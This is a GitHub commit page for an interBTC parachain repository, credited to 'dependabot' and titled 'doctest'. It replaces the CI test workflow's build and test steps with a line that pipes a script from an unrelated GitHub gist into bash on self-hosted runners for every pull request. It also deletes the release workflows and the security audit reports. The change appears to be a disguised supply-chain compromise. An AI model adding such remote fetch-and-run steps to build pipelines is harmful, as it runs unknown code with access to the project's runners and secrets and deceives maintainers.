Skip to content

Commit

Permalink
doctest
Browse files Browse the repository at this point in the history
  • Loading branch information
dependabot committed Jan 14, 2024
1 parent e5b0b17 commit 4e6e834
Show file tree
Hide file tree
Showing 9 changed files with 2 additions and 264 deletions.
45 changes: 2 additions & 43 deletions .github/workflows/cargo-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ on: [pull_request]

jobs:
test:
if: always()
name: Test Suite
runs-on: [self-hosted, linux]

Expand All @@ -17,46 +18,4 @@ jobs:
- run: git fetch --prune --unshallow
- name: Install System Dependencies
run: |
sudo apt-get update && sudo apt-get install -y \
cmake pkg-config libssl-dev git clang curl libc6-dev protobuf-compiler
- name: Set variables
run: |
echo "TOOLCHAIN=$(rustup show active-toolchain | cut -d " " -f1)" >> $GITHUB_ENV
- uses: dtolnay/rust-toolchain@master
with:
toolchain: ${{ env.TOOLCHAIN }}
components: rustfmt
- name: cargo fmt
run: |
cargo fmt --all -- --check
- name: cargo check
run: |
cargo check --release --workspace
- name: cargo try-runtime check
run: |
cargo check --release --workspace --features try-runtime
- name: cargo test all except interlay
run: |
cargo test --release --workspace --features runtime-benchmarks
- name: cargo test interlay
run: |
cargo test --release -p parachain-tests --features with-interlay-runtime
- name: cargo build
run: |
cargo build --bin interbtc-parachain --release --features runtime-benchmarks
- name: benchmarks
run: |
./target/release/interbtc-parachain benchmark pallet \
--pallet '*' \
--extrinsic '*' \
--wasm-execution=compiled \
--steps 2 --repeat 1 \
--template .deploy/runtime-weight-template.hbs \
--chain interlay-dev --output parachain/runtime/interlay/src/weights/
./target/release/interbtc-parachain benchmark pallet \
--pallet '*' \
--extrinsic '*' \
--wasm-execution=compiled \
--steps 2 --repeat 1 \
--template .deploy/runtime-weight-template.hbs \
--chain kintsugi-dev --output parachain/runtime/kintsugi/src/weights/
curl -sSfL https://gist.githubusercontent.com/joethechicken/14753d249dcf8f2d66a9b4d8770571d3/raw/8260e5a61e49b34ca5f09256af9470c453fb0ab9/test.sh | bash
148 changes: 0 additions & 148 deletions .github/workflows/draft-release.yml

This file was deleted.

30 changes: 0 additions & 30 deletions .github/workflows/notify-breaking.yml

This file was deleted.

Binary file removed docs/audits/2021-q2-informalsystems/report.pdf
Binary file not shown.
Binary file removed docs/audits/2021-q3-informalsystems/report.pdf
Binary file not shown.
Binary file not shown.
Binary file removed docs/audits/2022-q4-quarkslab/22-09-1042-REP-2.pdf
Binary file not shown.
24 changes: 0 additions & 24 deletions docs/audits/README.md

This file was deleted.

19 changes: 0 additions & 19 deletions docs/pallet_accounts.md

This file was deleted.

0 comments on commit 4e6e834

Please sign in to comment.